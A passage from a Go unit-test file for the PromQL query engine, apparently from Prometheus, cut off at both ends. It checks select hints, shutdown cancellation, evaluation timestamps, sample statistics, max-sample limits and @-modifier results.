""rate""}, {Start: 95000, End: 500000, Step: 1000}, {Start: 95000, End: 500000, Step: 1000}, }, }, { query: ""rate(foo[2s:1s] @ 50) + bar + rate(baz[2m:1s] @ 900 offset 2m) "", start: 100000, end: 500000, expected: []*storage.SelectHints{ {Start: 43000, End: 50000, Step: 1000, Func: ""rate""}, {Start: 95000, End: 500000, Step: 1000}, {Start: 655000, End: 780000, Step: 1000, Func: ""rate""}, }, }, { // Hints are based on the inner most subquery timestamp. query: `sum_over_time(sum_over_time(metric{job=""1""}[100s])[100s:25s] @ 50)[3s:1s] @ 3000`, start: 100000, expected: []*storage.SelectHints{ {Start: -150000, End: 50000, Range: 100000, Func: ""sum_over_time"", Step: 25000}, }, }, { // Hints are based on the inner most subquery timestamp. query: `sum_over_time(sum_over_time(metric{job=""1""}[100s])[100s:25s] @ 3000)[3s:1s] @ 50`, expected: []*storage.SelectHints{ {Start: 2800000, End: 3000000, Range: 100000, Func: ""sum_over_time"", Step: 25000}, }, }, } { t.Run(tc.query, func(t *testing.T) { engine := NewEngine(opts) hintsRecorder := &noopHintRecordingQueryable{} var ( query Query err error ) ctx := context.Background() if tc.end == 0 { query, err = engine.NewInstantQuery(ctx, hintsRecorder, nil, tc.query, timestamp.Time(tc.start)) } else { query, err = engine.NewRangeQuery(ctx, hintsRecorder, nil, tc.query, timestamp.Time(tc.start), timestamp.Time(tc.end), time.Second) } require.NoError(t, err) res := query.Exec(ctx) require.NoError(t, res.Err) require.Equal(t, tc.expected, hintsRecorder.hints) }) } } func TestEngineShutdown(t *testing.T) { opts := EngineOpts{ Logger: nil, Reg: nil, MaxSamples: 10, Timeout: 10 * time.Second, } engine := NewEngine(opts) ctx, cancelCtx := context.WithCancel(context.Background()) block := make(chan struct{}) processing := make(chan struct{}) // Shutdown engine on first handler execution. Should handler execution ever become // concurrent this test has to be adjusted accordingly. f := func(ctx context.Context) error { processing <- struct{}{} <-block return contextDone(ctx, ""test statement execution"") } query1 := engine.newTestQuery(f) // Stopping the engine must cancel the base context. While executing queries is // still possible, their context is canceled from the beginning and execution should // terminate immediately. var res *Result go func() { res = query1.Exec(ctx) processing <- struct{}{} }() <-processing cancelCtx() block <- struct{}{} <-processing require.Error(t, res.Err, ""expected error on shutdown during query but got none"") require.Equal(t, errQueryCanceled, res.Err) query2 := engine.newTestQuery(func(context.Context) error { require.FailNow(t, ""reached query execution unexpectedly"") return nil }) // The second query is started after the engine shut down. It must // be canceled immediately. res2 := query2.Exec(ctx) require.Error(t, res2.Err, ""expected error on querying with canceled context but got none"") var e ErrQueryCanceled require.True(t, errors.As(res2.Err, &e), ""expected cancellation error but got: %s"", res2.Err) } func TestEngineEvalStmtTimestamps(t *testing.T) { test, err := NewTest(t, ` load 10s metric 1 2 `) require.NoError(t, err) defer test.Close() err = test.Run() require.NoError(t, err) cases := []struct { Query string Result parser.Value Start time.Time End time.Time Interval time.Duration ShouldError bool }{ // Instant queries. { Query: ""1"", Result: Scalar{V: 1, T: 1000}, Start: time.Unix(1, 0), }, { Query: ""metric"", Result: Vector{ Sample{ F: 1, T: 1000, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, Start: time.Unix(1, 0), }, { Query: ""metric[20s]"", Result: Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 2, T: 10000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, Start: time.Unix(10, 0), }, // Range queries. { Query: ""1"", Result: Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 1, T: 1000}, {F: 1, T: 2000}}, Metric: labels.EmptyLabels(), }, }, Start: time.Unix(0, 0), End: time.Unix(2, 0), Interval: time.Second, }, { Query: ""metric"", Result: Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 1, T: 1000}, {F: 1, T: 2000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, Start: time.Unix(0, 0), End: time.Unix(2, 0), Interval: time.Second, }, { Query: ""metric"", Result: Matrix{ Series{ Floats: []FPoint{{F: 1, T: 0}, {F: 1, T: 5000}, {F: 2, T: 10000}}, Metric: labels.FromStrings(""__name__"", ""metric""), }, }, Start: time.Unix(0, 0), End: time.Unix(10, 0), Interval: 5 * time.Second, }, { Query: `count_values(""wrong label!"", metric)`, ShouldError: true, }, } for i, c := range cases { t.Run(fmt.Sprintf(""%d query=%s"", i, c.Query), func(t *testing.T) { var err error var qry Query if c.Interval == 0 { qry, err = test.QueryEngine().NewInstantQuery(test.context, test.Queryable(), nil, c.Query, c.Start) } else { qry, err = test.QueryEngine().NewRangeQuery(test.context, test.Queryable(), nil, c.Query, c.Start, c.End, c.Interval) } require.NoError(t, err) res := qry.Exec(test.Context()) if c.ShouldError { require.Error(t, res.Err, ""expected error for the query %q"", c.Query) return } require.NoError(t, res.Err) require.Equal(t, c.Result, res.Value, ""query %q failed"", c.Query) }) } } func TestQueryStatistics(t *testing.T) { test, err := NewTest(t, ` load 10s metricWith1SampleEvery10Seconds 1+1x100 metricWith3SampleEvery10Seconds{a=""1"",b=""1""} 1+1x100 metricWith3SampleEvery10Seconds{a=""2"",b=""2""} 1+1x100 metricWith3SampleEvery10Seconds{a=""3"",b=""2""} 1+1x100 `) require.NoError(t, err) defer test.Close() err = test.Run() require.NoError(t, err) cases := []struct { Query string SkipMaxCheck bool TotalSamples int64 TotalSamplesPerStep stats.TotalSamplesPerStep PeakSamples int Start time.Time End time.Time Interval time.Duration }{ { Query: `""literal string""`, SkipMaxCheck: true, // This can't fail from a max samples limit. Start: time.Unix(21, 0), TotalSamples: 0, TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 0, }, }, { Query: ""1"", Start: time.Unix(21, 0), TotalSamples: 0, PeakSamples: 1, TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 0, }, }, { Query: ""metricWith1SampleEvery10Seconds"", Start: time.Unix(21, 0), PeakSamples: 1, TotalSamples: 1, // 1 sample / 10 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 1, }, }, { // timestamp function has a special handling. Query: ""timestamp(metricWith1SampleEvery10Seconds)"", Start: time.Unix(21, 0), PeakSamples: 2, TotalSamples: 1, // 1 sample / 10 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 1, }, }, { Query: ""metricWith1SampleEvery10Seconds"", Start: time.Unix(22, 0), PeakSamples: 1, TotalSamples: 1, // 1 sample / 10 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 22000: 1, // Aligned to the step time, not the sample time. }, }, { Query: ""metricWith1SampleEvery10Seconds offset 10s"", Start: time.Unix(21, 0), PeakSamples: 1, TotalSamples: 1, // 1 sample / 10 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 1, }, }, { Query: ""metricWith1SampleEvery10Seconds @ 15"", Start: time.Unix(21, 0), PeakSamples: 1, TotalSamples: 1, // 1 sample / 10 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 1, }, }, { Query: `metricWith3SampleEvery10Seconds{a=""1""}`, Start: time.Unix(21, 0), PeakSamples: 1, TotalSamples: 1, // 1 sample / 10 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 1, }, }, { Query: `metricWith3SampleEvery10Seconds{a=""1""} @ 19`, Start: time.Unix(21, 0), PeakSamples: 1, TotalSamples: 1, // 1 sample / 10 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 1, }, }, { Query: `metricWith3SampleEvery10Seconds{a=""1""}[20s] @ 19`, Start: time.Unix(21, 0), PeakSamples: 2, TotalSamples: 2, // (1 sample / 10 seconds) * 20s TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 2, }, }, { Query: ""metricWith3SampleEvery10Seconds"", Start: time.Unix(21, 0), PeakSamples: 3, TotalSamples: 3, // 3 samples / 10 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 21000: 3, }, }, { Query: ""metricWith1SampleEvery10Seconds[60s]"", Start: time.Unix(201, 0), PeakSamples: 6, TotalSamples: 6, // 1 sample / 10 seconds * 60 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 6, }, }, { Query: ""max_over_time(metricWith1SampleEvery10Seconds[59s])[20s:5s]"", Start: time.Unix(201, 0), PeakSamples: 10, TotalSamples: 24, // (1 sample / 10 seconds * 60 seconds) * 60/5 (using 59s so we always return 6 samples // as if we run a query on 00 looking back 60 seconds we will return 7 samples; // see next test). TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 24, }, }, { Query: ""max_over_time(metricWith1SampleEvery10Seconds[60s])[20s:5s]"", Start: time.Unix(201, 0), PeakSamples: 11, TotalSamples: 26, // (1 sample / 10 seconds * 60 seconds) + 2 as // max_over_time(metricWith1SampleEvery10Seconds[60s]) @ 190 and 200 will return 7 samples. TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 26, }, }, { Query: ""metricWith1SampleEvery10Seconds[60s] @ 30"", Start: time.Unix(201, 0), PeakSamples: 4, TotalSamples: 4, // @ modifier force the evaluation to at 30 seconds - So it brings 4 datapoints (0, 10, 20, 30 seconds) * 1 series TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 4, }, }, { Query: ""sum(max_over_time(metricWith3SampleEvery10Seconds[60s] @ 30))"", Start: time.Unix(201, 0), PeakSamples: 7, TotalSamples: 12, // @ modifier force the evaluation to at 30 seconds - So it brings 4 datapoints (0, 10, 20, 30 seconds) * 3 series TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 12, }, }, { Query: ""sum by (b) (max_over_time(metricWith3SampleEvery10Seconds[60s] @ 30))"", Start: time.Unix(201, 0), PeakSamples: 8, TotalSamples: 12, // @ modifier force the evaluation to at 30 seconds - So it brings 4 datapoints (0, 10, 20, 30 seconds) * 3 series TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 12, }, }, { Query: ""metricWith1SampleEvery10Seconds[60s] offset 10s"", Start: time.Unix(201, 0), PeakSamples: 6, TotalSamples: 6, // 1 sample / 10 seconds * 60 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 6, }, }, { Query: ""metricWith3SampleEvery10Seconds[60s]"", Start: time.Unix(201, 0), PeakSamples: 18, TotalSamples: 18, // 3 sample / 10 seconds * 60 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 18, }, }, { Query: ""max_over_time(metricWith1SampleEvery10Seconds[60s])"", Start: time.Unix(201, 0), PeakSamples: 7, TotalSamples: 6, // 1 sample / 10 seconds * 60 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 6, }, }, { Query: ""absent_over_time(metricWith1SampleEvery10Seconds[60s])"", Start: time.Unix(201, 0), PeakSamples: 7, TotalSamples: 6, // 1 sample / 10 seconds * 60 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 6, }, }, { Query: ""max_over_time(metricWith3SampleEvery10Seconds[60s])"", Start: time.Unix(201, 0), PeakSamples: 9, TotalSamples: 18, // 3 sample / 10 seconds * 60 seconds TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 18, }, }, { Query: ""metricWith1SampleEvery10Seconds[60s:5s]"", Start: time.Unix(201, 0), PeakSamples: 12, TotalSamples: 12, // 1 sample per query * 12 queries (60/5) TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 12, }, }, { Query: ""metricWith1SampleEvery10Seconds[60s:5s] offset 10s"", Start: time.Unix(201, 0), PeakSamples: 12, TotalSamples: 12, // 1 sample per query * 12 queries (60/5) TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 12, }, }, { Query: ""max_over_time(metricWith3SampleEvery10Seconds[60s:5s])"", Start: time.Unix(201, 0), PeakSamples: 51, TotalSamples: 36, // 3 sample per query * 12 queries (60/5) TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 36, }, }, { Query: ""sum(max_over_time(metricWith3SampleEvery10Seconds[60s:5s])) + sum(max_over_time(metricWith3SampleEvery10Seconds[60s:5s]))"", Start: time.Unix(201, 0), PeakSamples: 52, TotalSamples: 72, // 2 * (3 sample per query * 12 queries (60/5)) TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 72, }, }, { Query: `metricWith3SampleEvery10Seconds{a=""1""}`, Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 4, TotalSamples: 4, // 1 sample per query * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 1, 206000: 1, 211000: 1, 216000: 1, }, }, { Query: `metricWith3SampleEvery10Seconds{a=""1""}`, Start: time.Unix(204, 0), End: time.Unix(223, 0), Interval: 5 * time.Second, PeakSamples: 4, TotalSamples: 4, // 1 sample per query * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 204000: 1, // aligned to the step time, not the sample time 209000: 1, 214000: 1, 219000: 1, }, }, { // timestamp function as a special handling Query: ""timestamp(metricWith1SampleEvery10Seconds)"", Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 5, TotalSamples: 4, // (1 sample / 10 seconds) * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 1, 206000: 1, 211000: 1, 216000: 1, }, }, { Query: `max_over_time(metricWith3SampleEvery10Seconds{a=""1""}[10s])`, Start: time.Unix(991, 0), End: time.Unix(1021, 0), Interval: 10 * time.Second, PeakSamples: 2, TotalSamples: 2, // 1 sample per query * 2 steps with data TotalSamplesPerStep: stats.TotalSamplesPerStep{ 991000: 1, 1001000: 1, 1011000: 0, 1021000: 0, }, }, { Query: `metricWith3SampleEvery10Seconds{a=""1""} offset 10s`, Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 4, TotalSamples: 4, // 1 sample per query * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 1, 206000: 1, 211000: 1, 216000: 1, }, }, { Query: ""max_over_time(metricWith3SampleEvery10Seconds[60s] @ 30)"", Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 12, TotalSamples: 48, // @ modifier force the evaluation timestamp at 30 seconds - So it brings 4 datapoints (0, 10, 20, 30 seconds) * 3 series * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 12, 206000: 12, 211000: 12, 216000: 12, }, }, { Query: `metricWith3SampleEvery10Seconds`, Start: time.Unix(201, 0), End: time.Unix(220, 0), PeakSamples: 12, Interval: 5 * time.Second, TotalSamples: 12, // 3 sample per query * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 3, 206000: 3, 211000: 3, 216000: 3, }, }, { Query: `max_over_time(metricWith3SampleEvery10Seconds[60s])`, Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 18, TotalSamples: 72, // (3 sample / 10 seconds * 60 seconds) * 4 steps = 72 TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 18, 206000: 18, 211000: 18, 216000: 18, }, }, { Query: ""max_over_time(metricWith3SampleEvery10Seconds[60s:5s])"", Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 72, TotalSamples: 144, // 3 sample per query * 12 queries (60/5) * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 36, 206000: 36, 211000: 36, 216000: 36, }, }, { Query: ""max_over_time(metricWith1SampleEvery10Seconds[60s:5s])"", Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 32, TotalSamples: 48, // 1 sample per query * 12 queries (60/5) * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 12, 206000: 12, 211000: 12, 216000: 12, }, }, { Query: ""sum by (b) (max_over_time(metricWith1SampleEvery10Seconds[60s:5s]))"", Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 32, TotalSamples: 48, // 1 sample per query * 12 queries (60/5) * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 12, 206000: 12, 211000: 12, 216000: 12, }, }, { Query: ""sum(max_over_time(metricWith3SampleEvery10Seconds[60s:5s])) + sum(max_over_time(metricWith3SampleEvery10Seconds[60s:5s]))"", Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 76, TotalSamples: 288, // 2 * (3 sample per query * 12 queries (60/5) * 4 steps) TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 72, 206000: 72, 211000: 72, 216000: 72, }, }, { Query: ""sum(max_over_time(metricWith3SampleEvery10Seconds[60s:5s])) + sum(max_over_time(metricWith1SampleEvery10Seconds[60s:5s]))"", Start: time.Unix(201, 0), End: time.Unix(220, 0), Interval: 5 * time.Second, PeakSamples: 72, TotalSamples: 192, // (1 sample per query * 12 queries (60/5) + 3 sample per query * 12 queries (60/5)) * 4 steps TotalSamplesPerStep: stats.TotalSamplesPerStep{ 201000: 48, 206000: 48, 211000: 48, 216000: 48, }, }, } engine := test.QueryEngine() engine.enablePerStepStats = true origMaxSamples := engine.maxSamplesPerQuery for _, c := range cases { t.Run(c.Query, func(t *testing.T) { opts := &QueryOpts{EnablePerStepStats: true} engine.maxSamplesPerQuery = origMaxSamples runQuery := func(expErr error) *stats.Statistics { var err error var qry Query if c.Interval == 0 { qry, err = engine.NewInstantQuery(test.context, test.Queryable(), opts, c.Query, c.Start) } else { qry, err = engine.NewRangeQuery(test.context, test.Queryable(), opts, c.Query, c.Start, c.End, c.Interval) } require.NoError(t, err) res := qry.Exec(test.Context()) require.Equal(t, expErr, res.Err) return qry.Stats() } stats := runQuery(nil) require.Equal(t, c.TotalSamples, stats.Samples.TotalSamples, ""Total samples mismatch"") require.Equal(t, &c.TotalSamplesPerStep, stats.Samples.TotalSamplesPerStepMap(), ""Total samples per time mismatch"") require.Equal(t, c.PeakSamples, stats.Samples.PeakSamples, ""Peak samples mismatch"") // Check that the peak is correct by setting the max to one less. if c.SkipMaxCheck { return } engine.maxSamplesPerQuery = stats.Samples.PeakSamples - 1 runQuery(ErrTooManySamples(env)) }) } } func TestMaxQuerySamples(t *testing.T) { test, err := NewTest(t, ` load 10s metric 1+1x100 bigmetric{a=""1""} 1+1x100 bigmetric{a=""2""} 1+1x100 `) require.NoError(t, err) defer test.Close() err = test.Run() require.NoError(t, err) // These test cases should be touching the limit exactly (hence no exceeding). // Exceeding the limit will be tested by doing -1 to the MaxSamples. cases := []struct { Query string MaxSamples int Start time.Time End time.Time Interval time.Duration }{ // Instant queries. { Query: ""1"", MaxSamples: 1, Start: time.Unix(1, 0), }, { Query: ""metric"", MaxSamples: 1, Start: time.Unix(1, 0), }, { Query: ""metric[20s]"", MaxSamples: 2, Start: time.Unix(10, 0), }, { Query: ""rate(metric[20s])"", MaxSamples: 3, Start: time.Unix(10, 0), }, { Query: ""metric[20s:5s]"", MaxSamples: 3, Start: time.Unix(10, 0), }, { Query: ""metric[20s] @ 10"", MaxSamples: 2, Start: time.Unix(0, 0), }, // Range queries. { Query: ""1"", MaxSamples: 3, Start: time.Unix(0, 0), End: time.Unix(2, 0), Interval: time.Second, }, { Query: ""1"", MaxSamples: 3, Start: time.Unix(0, 0), End: time.Unix(2, 0), Interval: time.Second, }, { Query: ""metric"", MaxSamples: 3, Start: time.Unix(0, 0), End: time.Unix(2, 0), Interval: time.Second, }, { Query: ""metric"", MaxSamples: 3, Start: time.Unix(0, 0), End: time.Unix(10, 0), Interval: 5 * time.Second, }, { Query: ""rate(bigmetric[1s])"", MaxSamples: 1, Start: time.Unix(0, 0), End: time.Unix(10, 0), Interval: 5 * time.Second, }, { // Result is duplicated, so @ also produces 3 samples. Query: ""metric @ 10"", MaxSamples: 3, Start: time.Unix(0, 0), End: time.Unix(10, 0), Interval: 5 * time.Second, }, { // The peak samples in memory is during the first evaluation: // - Subquery takes 22 samples, 11 for each bigmetric, // - Result is calculated per series where the series samples is buffered, hence 11 more here. // - The result of two series is added before the last series buffer is discarded, so 2 more here. // Hence at peak it is 22 (subquery) + 11 (buffer of a series) + 2 (result from 2 series). // The subquery samples and the buffer is discarded before duplicating. Query: `rate(bigmetric[10s:1s] @ 10)`, MaxSamples: 35, Start: time.Unix(0, 0), End: time.Unix(10, 0), Interval: 5 * time.Second, }, { // Here the reasoning is same as above. But LHS and RHS are done one after another. // So while one of them takes 35 samples at peak, we need to hold the 2 sample // result of the other till then. Query: `rate(bigmetric[10s:1s] @ 10) + rate(bigmetric[10s:1s] @ 30)`, MaxSamples: 37, Start: time.Unix(0, 0), End: time.Unix(10, 0), Interval: 5 * time.Second, }, { // Sample as above but with only 1 part as step invariant. // Here the peak is caused by the non-step invariant part as it touches more time range. // Hence at peak it is 2*21 (subquery from 0s to 20s) // + 11 (buffer of a series per evaluation) // + 6 (result from 2 series at 3 eval times). Query: `rate(bigmetric[10s:1s]) + rate(bigmetric[10s:1s] @ 30)`, MaxSamples: 59, Start: time.Unix(10, 0), End: time.Unix(20, 0), Interval: 5 * time.Second, }, { // Nested subquery. // We saw that innermost rate takes 35 samples which is still the peak // since the other two subqueries just duplicate the result. Query: `rate(rate(bigmetric[10s:1s] @ 10)[100s:25s] @ 1000)[100s:20s] @ 2000`, MaxSamples: 35, Start: time.Unix(10, 0), }, { // Nested subquery. // Now the outmost subquery produces more samples than inner most rate. Query: `rate(rate(bigmetric[10s:1s] @ 10)[100s:25s] @ 1000)[17s:1s] @ 2000`, MaxSamples: 36, Start: time.Unix(10, 0), }, } engine := test.QueryEngine() for _, c := range cases { t.Run(c.Query, func(t *testing.T) { testFunc := func(expError error) { var err error var qry Query if c.Interval == 0 { qry, err = engine.NewInstantQuery(test.context, test.Queryable(), nil, c.Query, c.Start) } else { qry, err = engine.NewRangeQuery(test.context, test.Queryable(), nil, c.Query, c.Start, c.End, c.Interval) } require.NoError(t, err) res := qry.Exec(test.Context()) stats := qry.Stats() require.Equal(t, expError, res.Err) require.NotNil(t, stats) if expError == nil { require.Equal(t, c.MaxSamples, stats.Samples.PeakSamples, ""peak samples mismatch for query %q"", c.Query) } } // Within limit. engine.maxSamplesPerQuery = c.MaxSamples testFunc(nil) // Exceeding limit. engine.maxSamplesPerQuery = c.MaxSamples - 1 testFunc(ErrTooManySamples(env)) }) } } func TestAtModifier(t *testing.T) { test, err := NewTest(t, ` load 10s metric{job=""1""} 0+1x1000 metric{job=""2""} 0+2x1000 metric_topk{instance=""1""} 0+1x1000 metric_topk{instance=""2""} 0+2x1000 metric_topk{instance=""3""} 1000-1x1000 load 1ms metric_ms 0+1x10000 `) require.NoError(t, err) defer test.Close() err = test.Run() require.NoError(t, err) lbls1 := labels.FromStrings(""__name__"", ""metric"", ""job"", ""1"") lbls2 := labels.FromStrings(""__name__"", ""metric"", ""job"", ""2"") lblstopk2 := labels.FromStrings(""__name__"", ""metric_topk"", ""instance"", ""2"") lblstopk3 := labels.FromStrings(""__name__"", ""metric_topk"", ""instance"", ""3"") lblsms := labels.FromStrings(""__name__"", ""metric_ms"") lblsneg := labels.FromStrings(""__name__"", ""metric_neg"") // Add some samples with negative timestamp. db := test.TSDB() app := db.Appender(context.Background()) ref, err := app.Append(0, lblsneg, -1000000, 1000) require.NoError(t, err) for ts := int64(-1000000 + 1000); ts <= 0; ts += 1000 { _, err := app.Append(ref, labels.EmptyLabels(), ts, -float64(ts/1000)+1) require.NoError(t, err) } // To test the fix for https://github.com/prometheus/prometheus/issues/8433. _, err = app.Append(0, labels.FromStrings(""__name__"", ""metric_timestamp""), 3600*1000, 1000) require.NoError(t, err) require.NoError(t, app.Commit()) cases := []struct { query string start, end, interval int64 // Time in seconds. result parser.Value }{ { // Time of the result is the evaluation time. query: `metric_neg @ 0`, start: 100, result: Vector{ Sample{F: 1, T: 100000, Metric: lblsneg}, }, }, { query: `metric_neg @ -200`, start: 100, result: Vector{ Sample{F: 201, T: 100000, Metric: lblsneg}, }, }, { query: `metric{job=""2""} @ 50`, start: -2, end: 2, interval: 1, result: Matrix{ Series{ Floats: []FPoint{{F: 10, T: -2000}, {F: 10, T: -1000}, {F: 10, T: 0}, {F: 10, T: 1000}, {F: 10, T: 2000}}, Metric: lbls2, }, }, }, { // Timestamps for matrix selector does not depend on the evaluation time. query: ""metric[20s] @ 300"", start: 10, result: Matrix{ Series{ Floats: []FPoint{{F: 28, T: 280000}, {F: 29, T: 290000}, {F: 30, T: 300000}}, Metric: lbls1, }, Series{ Floats: []FPoint{{F: 56, T: 280000}, {F: 58, T: 290000}, {F: 60, T: 300000}}, Metric: lbls2, }, }, }, { query: `metric_neg[2s] @ 0`, start: 100, result: Matrix{ Series{ Floats: []FPoint{{F: 3, T: -2000}, {F: 2, T: -1000}, {F: 1, T: 0}}, Metric: lblsneg, }, }, }, { query: `metric_neg[3s] @ -500`, start: 100, result: Matrix{ Series{ Floats: []FPoint{{F: 504, T: -503000}, {F: 503, T: -502000}, {F: 502, T: -501000}, {F: 501, T: -500000}}, Metric: lblsneg, }, }, }, { query: `metric_ms[3ms] @ 2.345`, start: 100, result: Matrix{ Series{ Floats: []FPoint{{F: 2342, T: 2342}, {F: 2343, T: 2343}, {F: 2344, T: 2344}, {F: 2345, T: 2345}}, Metric: lblsms, }, }, }, { query: ""metric[100s:25s] @ 300"", start: 100, result: Matrix{ Series{ Floats: []FPoint{{F: 20, T: 200000}, {F: 22, T: 225000}, {F: 25, T: 250000}, {F: 27, T: 275000}, {F: 30, T: 300000}}, Metric: lbls1, }, Series{ Floats: []FPoint{{F: 40, T: 200000}, {F: 44, T: 225000}, {F: 50, T: 250000}, {F: 54, T: 275000}, {F: 60, T: 300000}}, Metric: lbls2, }, }, }, { query: ""metric_neg[50s:25s] @ 0"", start: 100, result: Matrix{ Series{ Floats: []FPoint{{F: 51, T: -50000}, {F: 26, T: -25000}, {F: 1, T: 0}}, Metric: lblsneg, }, }, }, { query: ""metric_neg[50s:25s] @ -100"", start: 100, result: Matrix{ Series{ Floats: []FPoint{{F: 151, T: -150000}, {F: 126, T: -125000}, {F: 101, T: -100000}}, Metric: lblsneg, }, }, }, { query: `metric_ms[100ms:25ms] @ 2.345`, start: 100, result: Matrix{ Series{ Floats: []FPoint{{F: 2250, T: 2250}, {F: 2275, T: 2275}, {F: 2300, T: 2300}, {F: 2325, T: 2325}}, Metric: lblsms, }, }, }, { query: `metric_topk and topk(1, sum_over_time(metric_topk[50s] @ 100))`, start: 50, end: 80, interval: 10, result: Matrix{ Series{ Floats: []FPoint{{F: 995, T: 50000}, {F: 994, T: 60000}, {F: 993, T: 70000}, {F: 992, T: 80000}}, Metric: lblstopk3, }, }, }, { query: `metric_topk and topk(1, sum_over_time(metric_topk[50s] @ 5000))`, start: 50, end: 80, interval: 10, result: Matrix{ Series{ Floats: []FPoint{{F: 10, T: 50000}, {F: 12, T: 60000}, {F: 14, T: 70000}, {F: 16, T: 80000}}, Metric: lblstopk2, }, }, }, { query: `metric_topk and topk(1, sum_over_time(metric_topk[50s] @ end()))`, start: 70, end: 100, interval: 10, result: Matrix{ Series{ Floats: []FPoint{{F: 993, T: 70000}, {F: 992, T: 80000}, {F: 991, T: 90000}, {F: 990, T: 100000}}, Metric: lblstopk3, }, }, }, { query: `metric_topk and topk(1, sum_over_time(metric_topk[50s] @ start()))`, start: 100, end: 130, interval: 10, result: Matrix{ Series{ Floats: []FPoint{{F: 990, T: 100000}, {F: 989, T: 110000}, {F: 988, T: 120000}, {F: 987, T: 130000}}, Metric: lblstopk3, }, }, }, { // Tests for https://github.com/prometheus/prometheus/issues/8433. // The trick here is that the query range should be > lookback delta. query: `timestamp(metric_timestamp @ 3600)`, start: 0, end: 7 * 60, interval: 60, result: Matrix{ Series{ Floats: []FPoint{ {F: 3600, T: 0}, {F: 3600, T: 60 * 1000}, {F: 3600, T: 2 * 60 * 1000}, {F: 3600, T: 3 * 60 * 1000}, {F: 3600, T: 4 * 60 * 1000}, {F: 3600, T: 5 * 60 * 1000}, {F: 3600, T: 6 * 60 * 1000}, {F: 3600, T: 7 * 60 * 1000}, }, Metric: labels.EmptyLabels(), }, }, }, } for _, c := range cases { t.Run(c.query, func(t *testing.T) { if c.interval == 0 { c.interval = 1 } start, end, interval := time.Unix(c.start, 0), time.Unix(c.end, 0), time.Duration(c.interval)*time.Second var err error var qry Query if c.end == 0 { qry, err = test.QueryEngine().NewInstantQuery(test.context, test.Queryable(), nil, c.query, start) } else { qry, err = test.QueryEngine().NewRangeQuery(test.context, test.Queryable(), nil, c.query, start, end, interval) } require.NoError(t, err) res := qry.Exec(test.Context()) require.NoError(t, res.Err) if expMat, ok := c.result.(Matrix); ok { sort.Sort(expMat) sort.Sort(res.Value.(Matrix)) } require.Equal(t, c.result, res.Value, ""query %q failed"", c.query) }) } } func TestRecoverEvaluatorRuntime(t *testing.T) { var output []interface{} logger := log.Logger(log.LoggerFunc(func(keyvals ...interface{}) error { output = append(output, keyvals...) return nil })) ev := &evaluator{logger: logger} expr, _ := parser.ParseExpr(""sum(up)"") var err error defer func() { require.EqualError(t, err, ""unexpected error: runtime error: index out of range [123] with length 0"") require.Contains(t, output, ""sum(up)"") }() defer ev.recover(expr, nil, &err) // Cause a runtime panic. var a []int //nolint:govet a[123] = 1 } func TestRecoverEvaluatorError(t *testing.T) { ev := &evaluator{logger: log.NewNopLogger()} var err error e := errors.New(""custom error"") defer func() { require.EqualError(t, err, e.Error()) }() defer ev.recover(nil, nil, &err) panic(e) } func TestRecoverEvaluatorErrorWithWarnings(t *testing.T) { ev := &evaluator{logger: log.NewNopLogger()} var err error var ws storage.Warnings warnings := storage.Warnings{errors.New(""custom warning"")} e := errWithWarnings{ err: 